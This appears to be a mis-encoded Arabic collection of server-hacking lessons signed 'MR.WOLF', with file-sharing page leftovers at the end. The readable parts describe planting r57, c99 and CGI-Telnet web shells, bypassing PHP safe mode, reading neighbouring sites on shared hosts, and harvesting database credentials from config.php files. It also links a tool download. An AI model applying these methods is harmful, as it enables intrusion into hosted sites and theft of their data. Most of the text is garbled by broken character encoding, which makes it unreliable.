‫‪ >JU(+‬ا‪ #= <7J8‬ا!=! ‪ K%3 )3‬إ‪ S‬أ&! ‪ ..‬و‪ )3 /]8+‬ه‪1‬ي ا(ة =‪ #‬زرع ا(‪]*3 )3 /B‬ت‬
‫ا‪(" \A8‬ن ‪ S*? >7‬ا!=! (‪/‬ة أ‪%Q‬ل ‪..‬‬
‫‪!: /%B‬ح ?(*‪ #= #‬ا(!=‪7‬ت ‪ nobody ,= #+jX !=!T S*? (nobody) TN‬راح او‪cd‬‬
‫?*‪ ,‬آ]‪ 6‬ا‪ K%3 )3 <7J8‬إ‪ S‬أ&!‪.‬‬
‫)‪7=!3 K3 0/A+‬ت ا‪8U‬ب(‬
‫‪-‬أ&*‪ #‬ا‪ #= #P‬ا;‪]8T‬دة ‪ )3‬ا‪/%J‬ي ?*‪!U]+ S‬ك و ا‪!8&Â‬اق ;‪ <= Ko8+ >$‬ا‪!! !IU‬‬
‫‪%B -2‬زر‬
‫ه‪ 01‬ا‪ )3 ,jD‬ا‪jD‬ت ا(‪ O #= .. 3 ً?%$ 0/7‬ا;‪j‬ن ‪%U+‬ن ‪ )3‬ا‪%UB3 S*j‬ن و‪%‬ده‬
‫و‪ O‬ا;‪j‬ن زرا?‪) ,3/? <I3 <L* >8‬إن آن ه‪J‬ك ه‪/‬ف ‪ S*? )3‬ا!=!(‬
‫‪I3‬ل (!=‪jX <U: 6‬ت ا‪%‬زر‬
‫‪!8]$‬ض أن ‪3‬رك ‪ /‬ر=‪ K‬ا‪ <L‬ه‪1U‬ا ‪:‬‬
‫‪/ home / wolf / public_html /‬‬
‫و‪!$‬ت إ‪ S‬ا‪jD‬ت وو‪1b b+/‬ا ا‪:<UL‬‬

‫)‪uid=906(wolf) gid=906(wolf) groups=906(wolf‬‬
‫آ( ‪L+‬ه‪ /‬ان ا‪ ) #‬ا;‪%‬اس "‪ "wolf‬ه‪ \]$ %‬ا‪%‬زر ا‪ #= #‬ا(ر ا(]‪!8‬ض =‪ #‬ه‪,‬‬
‫?*‪%Q S‬ل ‪!+‬ف أن ‪%B >+jX‬زر !!‬
!&‫ أي ر أ‬S‫! إ‬r8B )U(3 \‫! و‬r83 !‫ا ا‬1‫= ه‬906 :,j3*
:: b+‫(ا‬3 ::
¡‫ ا‬.. *3 K=!+ ‫* او‬3 S*? ‫ل‬/+ ‫ن‬L? 0!° ‫ أو‬777 cB!D+ S‫ج إ‬8+3 >$‫ا‬
!! ,P+ #: ‫ أي‬1]J+ ‫ر‬/7+‫ و‬,*? $‫ أ‬#‫ ا‬K%(‫! ا‬B/3 >$N‫ آ‬,+J3 ‫ت‬jD‫ي ا‬1‫] ه‬: ‫;ن اذا‬
:: b%? ::
<= Ko8+ 7= .. bJ3 ,3%*3 ‫ف أي‬%L+ ‫ ا!=! او‬S*? #‫ ا‬K‫ا‬%(‫ ا‬# S‫< إ‬7J8+ ‫ر‬/7+3
‫! آن‬P& ‫ راح‬,+J3 .. >=/‫ ه‬%‫ أن آن ه‬.. ,*? $‫ أ‬#‫ ا‬K%(‫ ا‬#= #: <‫آ‬
ªP+ >$‫> ا أ‬3 T²*= .. ,8=‫ ر‬#‫< ا‬L‫) ا‬3 ,*X%+ #P+‫]\ ا!=! و‬$ S*? >=/‫وأن آن ه‬
. 0!r <X%+ ‫ر‬/7+ ‫ و‬,*X%+ ‫ر‬/7+3 =‫ ر‬#‫< ا‬L‫) ا‬3 ‫ ;ن‬.. ‫ف‬/b‫]\ ا‬$ #= ‫!ات‬r )?
.‫زر‬%B ‫ت‬jX <: S*? Po8* (user) TN ‫ت‬7=!(‫ ا‬#= #*(? ‫!ح‬: /%B
(‫ب‬8U‫ت ا‬7=!3 K3 0/A+)
‫ى‬/8+ ‫!ة‬r /%B ‫ او‬6*UL(‫ي ا‬1‫ ه‬SoE8+ )U(B !U= .. ,*7? ‫!ك‬8B‫ و‬7= #3‫ آ‬1&B /3 SJ(+‫ا‬-
!! <83 #: ,=3 .. ,P7‫ي ا‬1‫ه‬
(apache) #L+‫ ا‬-3

*8E3 ,*U: ‫ن‬%UT <L‫ ا‬S*? ‫رك‬3 ‫ إ أن‬U8‫ ا‬#= nobody S‫ إ‬,bP: ‫ت‬jD‫ ا‬01‫ه‬
apache 6jX )? 0‫ر‬%D‫ت وا‬%D #P‫ه‬1‫! ا‬TU‫ ا‬#PPj‫ و‬#&; ‫!ح‬: ‫ا‬1‫ وه‬.. @r‫ ا‬#=
.. <L‫ وزرع ا‬K‫ا‬%(‫< ) ا‬7J8‫ ا‬6]‫وآ‬
J‫) ه‬3 <(8‫ا‬

http://www.dwrat.com/3rod/5.rar
apache ‫ ـ‬,bP: ‫ن‬%U+ @r‫ ا‬#=‫ و‬0‫ر‬%‫آ‬1(‫ث ا‬I‫! ا‬° b*U: ‫ن‬%U+ ‫ت‬jD‫ ا‬O /%B -
.#L+;‫!ح ?) ا‬:3 <I3 b3 <3+
0/]3 !° ‫ او‬0/]3 ,A8J $‫اء آ‬%T >*7? #= b8PI+‫!=! و‬T ‫ اي‬#= 6!A+ S*? /(8+ :,PJ+*
!! 68B(j *8E+ !=!T )? !=!T ‫;ن‬
‫ا ا!ا‬1‫ ه‬S*? U+‫]را‬8T‫"! ا‬8$‫ر وا‬D8&N JT‫ا در‬1‫ه‬
‫ء ا‬: ‫د إن‬%3 ‫دم ?) ا‬7‫رس ا‬/‫ا‬
(( U?‫ د‬cX )3 $%J+ ))
6%]3 ‫ق‬%7‫ ا‬K(
MR.WOLF
4:30 ,‫!ي‬A‫ه‬1427 6A‫ ذو ا‬11 ¡B‫ر‬8‫ا‬

‫‪ #‬ا&رس ا‪C‬دس ‪#‬‬
‫‪----------------------------------‬‬
‫|| ا‪ Kd%‬ا;‪|| Safe Mode - )3‬‬
‫‪----------------------------------‬‬
‫‪ 7B‬ا‪B 3 / J3 !IU‬رع ا‪ <L‬اذا ‪:‬ف اـ ‪safemode = On‬‬
‫وه‪ #J+ #‬أن ا‪ Kd%‬ا;‪ <]3 )3‬وراح ‪ O > @PB‬ا‪%‬ا =‪ #‬ا;&‪!8‬اق وا‪%X%‬ل إ‪S‬‬
‫ا(*‪3%‬ت ‪!b )U ..‬ت ‪!r‬ات اـ ‪ php‬ا‪ #oE+ )3 JJU(+ #8‬ه‪1‬ي ا‪%‬ا و‪%T‬ف ‪!o8$‬ق ‪#= b‬‬
‫در‪ JT‬ان ‪:‬ء ا ‪..‬‬
‫أوً‪3 :‬ه‪ %‬ا ‪%3‬د )‪(Safe Mode‬؟‬

‫ه‪%%3 6B(j #‬دة دا&< ‪ !83‬اـ ‪ php‬و?‪ <= )3 >J(B ,*]+ /J‬ا‪:‬ء آ‪!I‬ة ‪<o+ @P‬‬
‫دوال اـ ‪ php‬ا‪ S*? !o& @P+ #8‬ا!=! ‪ <I3 ..‬ا‪/‬وال ا‪ 1]J+ Ko8+ b& )3 #8‬ا;وا‪. !3‬‬
‫و*‪!8‬ف ?*‪ S‬ا ‪%3‬د أآ‪B >*? !I‬رة ه‪1‬ي ا‪² 6]D‬خ =!وس ‪ @B+‬و=‪ ,7‬ا‬
‫‪/http://www.jaascois.com/research/36601026‬‬
‫‪( :ً$‬ذا ‪ 1]J+ 6$& #]8E+‬ا;وا‪ #= !3‬ا‪%UB 3/J? <L‬ن ا ‪%3‬د ‪<]3‬؟‬
‫‪3 <I3‬ذآ!‪ $‬أن ?‪ <]+ /J‬ا ‪%3‬د ‪ <o8+‬ا‪/‬وال ا‪!oE‬ة ?*‪ S‬ا!=! ا(‪%%‬د‪6r #= 0‬‬
‫ا‪ php ,A3!P‬وا‪ #= #8‬ا‪%UB @r‬ن ‪ *3‬ا‪% ¯3!P3 \A8‬ا‪.. b8oT‬‬
‫و‪ @PT‬أ&‪]8‬ء ‪ !oT‬ا;وا‪ !3‬ه‪ <o+ %‬ا‪/‬وال ا‪ 1]J+ )U(B #8‬ا;وا‪system , ) <I3 b& )3 !3‬‬
‫‪ (shell_exec , exec‬و‪!°‬ه ‪..‬‬
‫‪ K3‬ا* أن '‪U3‬ن ‪ !B/3‬ا!=! إ‪ 6=d‬ا(‪ )3 /B‬ا‪/‬وال ‪ b*o8‬وأي دا‪b3 !DB <o+ 6‬‬
‫‪%]3‬ل و ‪N+‬دي و]‪ #= b8‬ا!=! ‪ ..‬و=‪ #‬ه‪1‬ي ا‪ 6B(j /B+ 6‬ا!=! و‪1]J+ >*? @DB‬‬
‫ا;وا‪ !3‬و(‪ K‬ا(*‪3%‬ت‪.‬‬
‫و‪NB‬ل ا‪ OP‬ه< ?‪ /J‬و‪%‬د ا‪ Kd%‬ا;‪ <]3 )3‬وا‪jD‬ت ‪/%$‬ي او ا‪ )3 #JJ(B #L+‬ا‪<7J8‬‬
‫وا‪%X%‬ل إ‪]*3 S‬ت ا(‪%‬ا‪ K‬ا;&!ى؟‬
‫ا‪%A‬اب ‪..‬‬
‫;ن ‪ )U(3‬ا‪%X%‬ل ا‪]*3 S‬ت ا(‪%‬ا‪ K‬ا;&!ى و!ا‪ b8‬و\ ‪!L‬ط أن ‪!+‬ى ‪%83‬ى ا(‪ K%‬آ)‬
‫ا(‪%*o‬ب ه‪3)6=!3 %‬رات ا(*]ت( ا‪3%*3 K( b& )3 )U(3 #8‬ت ‪/]+‬ك =‪ #‬ا;&‪!8‬اق‬
‫‪ config *3 <I3‬ا‪1‬ي =‪ #‬ا‪/ «]B @r‬ا&*‪3%*3 ,‬ت ?‪/‬ة ‪$‬ت ا‪..!U‬‬
‫وان ‪:‬ء ا راح ا&‪1b CD‬ي ا‪ ,o7J‬درس إن ‪:‬ء ا ‪..‬‬
‫?‪ /J‬ا‪%D‬ل ?*‪3%*3 S‬ت أي ?‪/‬ة ‪$‬ت آ ا‪ bJ3 /]8T‬؟‬

‫;‪U3‬ن ر=‪ !UT K‬ا‪D+‬ل ‪%7‬ا?‪ /‬ا‪$P‬ت ‪ (*I3‬ر= ‪ *3‬ا‪ #= \A8‬ا‪/P‬ا‪ 6B‬و=‪ #‬ه‪1‬ي‬
‫ا‪/?7 <D8+ 6‬ة ا‪ b+3%*3 >*(+ #8‬و‪ /‬ذا> ;‪U3‬ن ‪3‬و‪ 6‬زرع ا‪ #= <L‬ا‪/?7‬ة و?‪/J‬‬
‫زرا?‪L3 )3 >JU(B 68‬ه‪/‬ة ‪%83‬ى ا(‪N K%‬ذن ا ‪..‬‬
‫وم ا;خ ‪!L 020‬ح ‪ 67B!Q‬زرا?‪ 6‬ا‪/? #= <L‬ة ا‪$P‬ت وا‪/‬رس ‪%%3‬د =‪ #‬أ&‪!8‬اق‬
‫ا(‪%‬ا‪ K‬وا!=!ات ‪ ..‬و?‪ <(? /J‬ه‪1‬ي ا‪U3; 67B!o‬ن ا;‪78$‬ل إ‪ S‬ا(‪ K%‬ا(‪/b8‬ف إن ‪:‬ء‬
‫ا و=‪ #‬ا‪/E8+ @r‬م ه‪1‬ي ا‪ ,7B!o‬إن آن ه‪J‬ك ه‪/‬ف ‪ S*? 3‬ا!=! ‪!! , <X%+ #P+‬‬
‫د‬%3 ‫ ?) ا‬/B(‫ ا‬6=!3 S‫< إ‬78J$ ‫]رات‬8T;‫) ا‬3 <*7‫ ا‬/
<L‫ ا‬#= ‫د‬%3 ‫ ا‬6j ‫ن‬U3 6=!( ‫رة‬%X
:!]X;‫ن ا‬%* cd%(‫ ا‬/‫ه‬L$ (‫آ‬

safe_mode
(Off) ‫( أو‬On) b33‫ن أ‬%UT‫) و‬3;‫ ا‬Kd%‫ ا‬6j #J+ #‫وه‬
Disable functions
,$‫ أ‬#J+ #‫( وه‬NONE) 6(*‫وال( أو آ‬/‫ )ا‬3‫ إ‬b33‫ ا‬/A+ ‫ف‬%T‫ و‬,*o(‫وال ا‬/‫ ا‬J ‫!ض‬B J‫وه‬
6*o3 ‫ دوال‬/%B
¡‫ا‬... id ‫ و‬CURL ‫ و‬copy 6‫< دا‬I3 PHP‫!ات اـ‬r ‫ام‬/E8TN )3;‫ ا‬Kd%‫ ا‬#oE+ ‫ن‬U3; ‫ذآ!ت أن‬
:‫ع‬%d%(‫ا ا‬1‫ ه‬#= 22!b(‫) ا;خ ا‬3 ‫ر‬%o(‫< ا‬L‫ ا‬#= bJ3 !IU‫ ا‬/%B‫و‬
(‫ب‬8U‫ت ا‬7=!3 K3 0/A+) safe_mode TN *3 /%B ً"B‫أ‬
‫!ات‬rI‫ي ا‬1‫ام ه‬/E8T‫ إ‬6]U #*(? ‫!ح‬: %‫وه‬
#8‫ ا‬6‫ر‬E‫! ا‬3‫ ا;وا‬O 1]J8 ‫م‬%7 )3;‫ ا‬Kd%‫]< ا‬+ 6j #= !3‫! ا;وا‬oT /B!B OP‫ا‬
.. ‫!اق‬8&;‫ ا‬#= b8B
:#L‫ا ا‬1‫ ه‬1]J8 )Q!: S*? 7+ J‫ه‬

!=!‫ ا‬S*? K%3 ‫ ;ي‬FTP ‫ت‬3%*3 S*? ‫ل‬%D‫ ا‬-1
<rL+ Ko8+ ‫ ا!=!ات‬O ‫ ا!=! ;ن‬#= CGI-Telnet !UT <rL8 6$U3‫ أ‬/%B -2
. !U‫ا ا‬1‫ه‬
. ‫ت‬3%*(‫ ا‬K( #= ,+‫ر‬o:‫!ق و‬8E(‫ ا‬/ ‫!ط ا;ول‬L‫ا‬
"root" !=!‫! ا‬B/3 / #$I‫!ط ا‬L‫ ا‬3‫أ‬
‫ا‬1‫ام ه‬/E8TN !3‫ ا;وا‬1]J+ Ko8+ $N= CGI-Telnet !UT <rL8 c(B !=!‫إذا ا‬
.. ‫! ا(ق‬U‫ا‬
:: CGI-Telnet ‫ام‬/E8T‫ ا‬67B!Q ::
ftp‫¯ اـ‬3‫ !ا‬/j‫ أ‬B!Q )? ,+3%*3 >3 #‫ ا‬K%( <D8+ #: ‫أول‬
cgi-bin /*A3 <&‫ا‬/ !U‫ ا‬K=! ‫م‬%7+‫ و‬public_html /*A3 S*? <&/+
: !U‫ر ا‬3 ‫ن‬%UT ‫أي‬
home / ××× / public_html / cgi-bin / cgi-telnet.pl /
!U‫= ا‬cgi-telnet.pl
c]D8(‫ ا‬#= ,d!8+ )3‫ و‬755 cB!D+ ,o+ !U‫ ا‬K=‫ ر‬/
:<UL‫ا ا‬1b ‫ن ا!ا‬%UB ‫راح‬
http://www.××××.com/cgi-bin/cgi-telnet.pl
K%(‫ = ا‬/http://www.××××.com
CGI-Telnet !UT ,*&‫ا‬/ J=‫ ر‬#‫ ا‬/*A(‫ = ا‬cgi-bin
CGI-Telnet !UT = cgi-telnet.pl
b8+ #‫! ا‬3‫ ا;وا‬1]J+ ‫ن‬U3; ‫(م‬+ ,+J3 !U‫< ا‬r8:‫إذا أ‬
!! ‫ر‬D8&N 67B!o‫ ا‬0?‫ذآ! أ‬3 ًPQ
(‫ب‬8U‫ت ا‬7=!3 K3 0/A+) CGI-Telnet TN *3 <(j <D]8 67B!o‫ ا‬6=!(‫و‬
K(A‫ ا‬,J3 /]8B ‫ء ا‬: ‫ وان‬JT‫ در‬Sb8$‫ ا‬J‫ ه‬S‫إ‬
‫رس‬/‫ا ا‬1‫ ه‬S*? U+‫]را‬8T‫! أ‬8$‫وأ‬
b ‫ل‬D+;‫ت وا‬$P‫ ا‬/?‫ا‬% ‫ت‬3%*3 ‫!اج‬ET‫ أ‬6]‫دم ?) آ‬7‫رس ا‬/‫ء ا ا‬: ‫ان‬
(( U?‫ د‬cX )3 $%J+ ))

6%]3 ‫ق‬%7‫ ا‬K(
MR.WOLF
5:00 ,‫!ي‬A‫ه‬1428 ‫!م‬3 18 ¡B‫ر‬8‫ا‬

‫‪ #‬ا&رس ا‪# RC‬‬

‫‪-------------------------------------------------------‬‬
‫|| آ]‪ 6‬ا‪D+‬ل ‪%7‬ا?‪ /‬ا‪$P‬ت وا;‪]8T‬د‪|| bJ3 0‬‬
‫‪-------------------------------------------------------‬‬
‫أوً ‪3‬ه‪% #‬ا?‪ /‬ا‪$P‬ت ؟‬

‫‪ )3‬أ‪!+ b(T‬ف ا‪ «]8B #: ,$‬ـ ا‪$P‬ت و‪ /%+‬ه‪ 01‬ا‪%7‬ا?‪ K3 /‬آ< ‪ «] !UT‬أي ‪#:‬‬
‫‪"B‬ف ا‪ S‬ا‪ #= .. !U‬ا‪ @r‬آ< ‪%UB !UT‬ن ‪/? ,‬ة ‪$‬ت ‪ <I3‬ا;ن ‪vBulletin !UT‬‬
‫ا‪B!+ #= ,3/E8$ #‬ق ‪..‬‬
‫آ ‪ «]B‬ا(‪%‬ا‪ Kd‬؟؟ وا"‪B%‬ت ؟؟ وآ< ‪ #= /B/‬ا(‪/8J‬ى ؟؟‬

‫ا‪ ً"B‬آ إذا ‪ 6*UL3 /j‬أو ?‪ #= @P+ <o‬ا‪7B‬ف ا(‪/8J‬ى ‪ «j+‬ا‪!A( ,$‬د ا‪8T‬دة ?‪/‬ة‬
‫ا‪$P‬ت ‪ <P )3‬ا‪Â‬دارة ‪%B‬د آ< ‪ 3 <I3 #:‬آن ?*‪ ,‬وا‪ @P‬أ‪/? !U* /%B ,$‬ة ‪$‬ت‪.‬‬
‫‪ ً$‬أ‪% /%+ )B‬ا?‪ /‬ا‪$P‬ت ؟‬

‫‪%‬ا?‪ /‬ا‪$P‬ت ‪%U+‬ن ‪ #= ,%]3‬ا!=! و=‪ #‬أ‪3‬آ) أ‪ ,J3‬و‪D+ <(+‬ر‪ )U(B cB‬ا‪%X%‬ل إ‪ b‬إ‬
‫اذا آ‪ !B/3 J‬ا!=! )‪(root‬‬
‫‪ ًI‬ه< ‪ )U(3‬ا;‪Q‬ع ?*‪$ S‬ت ه‪1‬ي ا‪%7‬ا?‪ .. /‬وآ ؟‬

‫‪!8LB )U .. )U(3 $‬ط ?*> ‪ !=%+‬ث أ‪:‬ء ‪D+²‬ل ـ ?‪/‬ة ا‪$P‬ت وه‪:#‬‬
‫‪%B 6=!3 -1‬زر ا‪/?7‬ة‬
‫‪ 6=!3 -2‬ا‪%TP‬رد *‪/?7‬ة‬
‫‪ 6=!3 -3‬أ‪ T‬ا‪/?7‬ة‬
‫راً أ‪ )B‬أ‪%B ] /‬ز ا‪/?7‬ة ‪ +‬ا‪%TP‬رد ‪ +‬أ‪ T‬ا‪/?7‬ة [ ؟‬

‫‪ /A+‬ه‪1‬ي ا(*‪3%‬ت )=‪ #‬ا‪ (@r‬دا&< ‪ <(B *3‬ه‪1‬ا ا;‪ (config) T‬وه‪1‬ا ا(* ‪%UB ًPQ‬ن ‪)3‬‬
‫() ‪]*3‬ت ا‪ !U‬ا‪/?7 <D8+ #P+ #‬ة ‪.. ,+$‬‬
‫وا‪ T‬ا(* ا‪/ #‬ا&*‪3%*3 ,‬ت ا‪/?7‬ة =‪ #‬ا‪%UB @r‬ن ا‪ /j‬ه‪1‬ي ا;‪(T‬ء ‪:‬‬
‫‪config.php‬‬
‫‪config.inc.php‬‬
‫‪settings.php‬‬
‫و‪!°‬ه ‪...‬‬
‫ا‪ #= ً"B‬ا‪ /A+ @r‬ه‪1‬ا ا(* =‪ #‬ا(‪ /*A‬ا!‪ !U* #‬أو دا&< ‪ /*A3‬ا‪ includes] ,(T‬أو‬
‫‪ include‬أو ‪[inc‬‬
‫&‪ ً3‬آ ‪/?7 <D8+‬ة ا‪$P‬ت ‪ b+3%*3 S*? >%Dj /‬؟‬
‫‪8!UT /%B‬ت &‪%7 6X‬ا?‪ /‬ا‪$P‬ت ا‪ /%B ً"B‬ا‪ )3 !IU‬ا‪L‬ت ‪3 <(+‬ة ا;‪D+‬ل ‪%7‬ا?‪/‬‬
‫ا‪$P‬ت ‪ c99 <: <I3‬و?‪ /J‬ا;‪D+‬ل ‪/?7‬ة ‪%U+‬ن ا‪$P‬ت ‪%%3‬دة ‪/‬ا&< ا‪/A‬اول و‪!! @+!3 <UL‬‬
‫‪T‬د‪ ًT‬آ ا‪$ )3 /]8T‬ت ا‪/?7‬ة و‪3‬ه‪ %‬ا(‪/ #= b‬او‪ b‬؟‬

‫أآ‪/? #= J(bB #: !I‬ة ا‪$P‬ت ه‪/ %‬ول ‪; user‬ن ‪/ /%B‬ا&*‪ ,‬ا‪(T‬ء ا(‪)3/E8‬‬
‫و‪%T‬ردا‪ b+‬وأ‪.. b+(B‬‬
‫‪ ًPQ‬ا‪%TP‬ردات =‪ #‬ا‪%U+ @r‬ن ‪!]L3‬ة ‪.md5 !]L+‬‬
‫ا(‪*oD‬ت ا(‪%%‬دة =‪ #‬ا‪8!U‬ت ـ ] ‪%B‬ز ا‪/?7‬ة ‪%T -‬رد ا‪/?7‬ة ‪ -‬أ‪ T‬ا‪/?7‬ة [‬
:‫ة‬/?7‫زر ا‬%B
username
DBUSER
db_user
dbusername
(user) 6(*‫ آ‬c*oD(‫ ا‬#= ‫!ر‬U8B ,$‫« ا‬j$

--------------------------------------------
:‫ة‬/?7‫رد ا‬%T
password
DBPASS
db_pass
DB_PASSWORD
dbpassword
-------------------------------------------
:‫ة‬/?7‫ ا‬T‫أ‬
database
dbname
db_name
dbuname
.. ‫*ت‬oD(‫ ا‬K( ‫ي‬1‫ ه‬:6j3
‫ء ا‬: ‫ ان‬b ,bP: ‫ن‬%U+ ‫) راح‬U ‫ي‬1‫! ه‬° ‫*ت‬oD3 /A+ /
:‫ت‬$P‫ة ا‬/? ‫ت‬3%*3 ,= /%B *3 ‫د‬%U ‫رة‬%X
'CDJ8‫ ا‬63?' ) ‫ن‬%U+ #‫ وه‬b8$ #‫ت ا‬3%*(‫ ا‬#‫]! ه‬X;‫ن ا‬%* ‫د‬/(‫ا‬
‫ت‬$P‫ة ا‬/? ‫ت‬3%*3 S*? ‫ل‬%D‫ ا‬6]U ‫ت‬j‫!و‬: )? ‫ى‬/8J(‫ ا‬#= ª‫ا‬
K(A‫ ا‬,J3 /]8B ‫ء ا‬: ‫ وان‬JT‫ در‬Sb8$‫ ا‬J‫ ه‬S‫إ‬
‫رس‬/‫ا ا‬1‫ ه‬S*? U+‫]را‬8T‫! أ‬8$‫وأ‬
(( U?‫ د‬cX )3 $%J+ ))
6%]3 ‫ق‬%7‫ ا‬K(
MR.WOLF
/http://www.tryag.com
10:38 ,‫!ي‬A‫ه‬1428 !]X 6 ¡B‫ر‬8‫ا‬

‫‪ L‬ا&روس ‪ &R‬ا‪a‬‬

‫و‪c‬ف م ‪xR‬ر)ق ا&روس ا‪&%&M‬ة )( ه>ا اب ‪xR‬ذن ا‪ O+ a‬أو ً ‪|R‬ول‬
‫وأرا ‪ J‬أ‪ (e‬ا ‪MR.WOLF‬‬
‫أن ‪ H%‬ه>ا ا‪ H+‬آــ‪ CR %&E‬و‪R:‬ن و)ء ‪KM) F' F+‬ا‪ k‬ا‪(': a‬‬
‫و‪ J:‬آ‪ J <+ J H‬ه>ا اب ‪ e‬ا‪KM‬اء و‪K () F+‬ان `‪% FC‬م‬
‫ا‪+‬ض ‪.. F:‬‬
‫أ{‪ &E‬أن ا‪ F‬ا ا‪ .. a‬ا‪ koc‬واب إ‪ .. F‬وا& ‪ a‬رب ا‪J+‬‬
‫‪-----------------------------------------------‬‬
‫‪N‬م ‪ MR‬ا&روس و=< اب ا و(‬
‫‪------------------------------------------------------------------------------‬‬
‫‪aLT3rEQ$Hacker‬‬
‫‪------------------------------------------------------------------------------‬‬

أختراق السيرفرات والمواقع شروحات

Uploaded by

Copyright:

Available Formats

You might also like

أختراق السيرفرات والمواقع شروحات

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

أختراق السيرفرات والمواقع شروحات

Uploaded by

Copyright:

Available Formats

http://www.t0010.com/books/index.

php ‫ ارق ا و‬

MR.WOLF  ‫ اق ظ‬

(‫&اد و=< ه>ا اب ا و‬:‫< إ‬

‫ــ  ارق ا آو‬

## <C‫ز ا‬E‫ ا‬F': G%  H‫ آ‬##

L ‫ ت ا وا‬M  () ‫ ا وات ا&ة‬J &%K‫ ا‬H

‫‪ <CR‬ا‪ a‬ا`‪ J‬ا`<‬

‫اب ‪ (M‬واذا ر‪ () Lb‬ا ‪c‬دة ‪ J‬ا‪+‬ت‬

‫ا‪ (e‬ا&يء ‪ HN‬ا&ا‪ +R () %‬ا&روس‬

‫)) اــ  اــ أن  أ‬

‫ا‪qC‬م ‪ <:‬ور` ا‪ a‬و‪R‬آ‪F‬‬

‫آ‪ @8‬ا(‪aLT3rEQ$Hacker : ,3/7‬‬

‫‪ #‬ا&رس اول ‪#‬‬

‫ا‪e‬اق اا‪& QCR N‬اً ‪:J{ d' % F‬‬

‫‪ -1‬ان ‪%‬ن &‪&sc|R )+ d%‬ام ا‪.Hg‬‬

‫ا‪NB OP‬ل ?) ا‪ <L‬و‪ ,J? K(B‬آ‪ !I‬و ‪ ,=!B‬؟‬

‫‪ @Q‬ا‪NB OP‬ل ‪3‬ه‪ #‬أوا‪ !3‬ا‪/‬وس ؟‬

‫ا‪t‬ل ا‪ QC kq:‬وإ‪=%‬ل ا‪! Q) +‬‬

‫‪ <78J$‬ا‪R‬ن ا‪ S‬ا‪!8J <L‬ف ?*‪ <UL ,‬أو‪KT‬‬

‫‪:‬ه‪%X /‬رة *‪ .. <L‬وا‪ T‬ه‪1‬ا ا‪ <L‬ه‪r57 %‬‬

‫!ب‬3 ,JU ‫< ا‬L‫]\ ا‬$ ‫ا‬1‫وه‬

!]X;‫ن ا‬%* cd%(‫ون ا‬/‫ه‬L+ (‫آ‬

!=!‫ان ا‬%J? %‫]! ه‬X;‫ن ا‬%* cd%(‫ ا‬-1

Linux %‫"م ا!=! وه‬$ ‫ع‬%$ -2

<D]3 ‫ درس‬b CDEB ‫ف‬%T .. !=!‫ ا‬S*? >+jX -3

:,8(‫ ;ه‬4 ! <D]3 cd%+

/http://www.tryag.com K%(‫ ا‬T‫ا ا‬1‫ ان ه‬%

!3‫ ا;وا‬6A8$ ‫ن‬%UT J‫ه‬

. 01]J+ /B!+ ‫ي‬1‫! ا‬3;‫@ ا‬8U+ J‫ ه‬: Run command

TikiWiki /*A3 #= a.php TN *3 ‫ف‬1j $‫ أرد‬% @Q

*(‫ف ا‬1j !3‫ ا]!اغ ا;ول أ‬#= @8U$

/ home / sixfinge / public_html / thecoolbeenz / TikiWiki /

‫رس ا;ول‬/‫ ا‬Sb8$‫ ا‬J‫ ه‬S‫ا‬

(( ‫ـــ‬U‫ د?ـــــــ‬c‫ـــــــــ‬X )‫ــ‬3 $%J‫ــــ‬+  ))

‫‪ #‬ا&رس ا‪# (t‬‬

‫‪/= 3‬ة اوا‪ !3‬ا‪\UJ‬؟‬

‫=‪D8&N b+/‬ر  ‪ Ko8+‬ا;&‪!8‬اق أو ا‪/ U8‬و‪.. b$‬‬

‫‪ 6=!3 /‬ا;وا‪ !3‬ا‪ @8U+ )B‬و‪ )3‬ا&‪ 01b @Q‬ا;وا‪!3‬؟‬

‫‪ <U:‬ا;‪ 6jT #= !3‬ا!ض‬

‫‪ <U:‬ا;‪ 6jT #= !3‬ا!ض‬

‫ا;‪ls -la :!3‬‬

‫‪ <U:‬ا;‪ 6jT #= !3‬ا!ض‬

chmod xxx :!3;‫ا‬

‫ ا!ض‬6jT #= !3;‫< ا‬U:

‫ ا!ض‬6jT #= !3;‫< ا‬U:

‫ ا!ض‬6jT #= !3;‫< ا‬U:

‫ ا!ض‬6jT #= !3;‫< ا‬U:

id ‫ و‬ls -la #‫رة ه‬%D‫ ا‬#= 67Po(‫) ا‬B!3;‫ا‬

wget :K=!‫! ا‬3‫أ‬

curl :K=!‫! ا‬3‫أ‬

GET :K=!‫! ا‬3‫أ‬

lynx :K=!‫! ا‬3‫أ‬

!3‫ ا;وا‬01‫!ح ه‬o #]8U$

6‫ر‬E‫! ا‬3‫ ا;وا‬O ‫!ح‬QNT‫و‬

‫ت‬3%*(‫ ا‬K(A $/]+ 6J3 ‫اف‬/‫ن ;ه‬%U+ 6‫ر‬E‫! ا‬3‫*@ ا;وا‬°‫وا‬

"*find / -type f -name "wolf :!3;‫ا‬

6=L8‫> اآ‬JU(B /B(‫ ا‬/%B‫! و‬3‫) ا;وا‬3 6?%(A(‫ي ا‬1b #]8U$

php ‫ ارق ا و‬

MR.WOLF ‫ اق ظ‬

(‫&اد و=< ه>ا اب ا و‬:‫< إ‬

‫ــ ارق ا آو‬

## <C‫ز ا‬E‫ ا‬F': G% H‫ آ‬##

L ‫ ت ا وا‬M () ‫ ا وات ا&ة‬J &%K‫ ا‬H

‫‪ <CR‬ا‪ a‬ا`‪ J‬ا`<‬

‫اب ‪ (M‬واذا ر‪ () Lb‬ا ‪c‬دة ‪ J‬ا‪+‬ت‬

‫ا‪ (e‬ا&يء ‪ HN‬ا&ا‪ +R () %‬ا&روس‬

‫)) اــ اــ أن أ‬

‫ا‪qC‬م ‪ <:‬ور` ا‪ a‬و‪R‬آ‪F‬‬

‫آ‪ @8‬ا(‪aLT3rEQ$Hacker : ,3/7‬‬

‫‪ #‬ا&رس اول ‪#‬‬

‫ا‪e‬اق اا‪& QCR N‬اً ‪:J{ d' % F‬‬

‫‪ -1‬ان ‪%‬ن &‪&sc|R )+ d%‬ام ا‪.Hg‬‬

‫ا‪NB OP‬ل ?) ا‪ <L‬و‪ ,J? K(B‬آ‪ !I‬و ‪ ,=!B‬؟‬

‫‪ @Q‬ا‪NB OP‬ل ‪3‬ه‪ #‬أوا‪ !3‬ا‪/‬وس ؟‬

‫ا‪t‬ل ا‪ QC kq:‬وإ‪=%‬ل ا‪! Q) +‬‬

‫‪ <78J$‬ا‪R‬ن ا‪ S‬ا‪!8J <L‬ف ?*‪ <UL ,‬أو‪KT‬‬

